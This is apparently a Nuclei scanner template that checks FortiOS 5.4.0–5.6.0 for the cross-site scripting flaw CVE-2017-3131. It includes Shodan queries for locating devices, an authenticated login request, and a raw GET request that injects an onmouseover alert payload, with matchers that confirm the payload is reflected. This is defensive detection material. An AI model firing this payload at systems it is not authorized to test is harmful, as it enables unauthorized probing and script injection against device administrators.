id: CVE-2017-3131 info: name: FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting author: ritikchaddha severity: medium description: | A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.4.0 through 5.4.4 and 5.6.0 allows attackers to execute unauthorized code or commands via the filter input in "Applications" under FortiView. impact: | Successful exploitation could lead to execution of malicious javascript. remediation: | Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability. reference: - https://www.exploit-db.com/exploits/42388 - https://nvd.nist.gov/vuln/detail/CVE-2017-3131 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2017-3131 cwe-id: CWE-79 epss-score: 0.11481 epss-percentile: 0.93745 cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:* metadata: vendor: fortinet product: fortios shodan-query: - http.html:"/remote/login" "xxxxxxxx" - http.favicon.hash:945408572 - cpe:"cpe:2.3:o:fortinet:fortios" tags: cve,cve2017,fortinet,fortios,xss,authenticated,vuln http: - raw: - | POST /logincheck HTTP/1.1 Host: {{Hostname}} Content-Type: text/plain;charset=UTF-8 ajax=1&username={{username}}&secretkey={{password}} - | GET /ng/fortiview/app/15832%22%20onmouseover=alert(document.domain)%20x=%22y HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_2 words: - 'id_15832" onmouseover="alert(document.domain)"' - type: word part: content_type_2 words: - "text/html" - type: status status: - 200 # digest: 490a00463044022003e889585540f4fe1bf7e3384f598ccc3dce4a6991c19af597f7dddfcc4babfd02201761300fc98ae1c52b90f8dd94a4f879f58c6e353b8aedbfbd7e8af52031836d:922c64590222798bb761d5b6d8e72950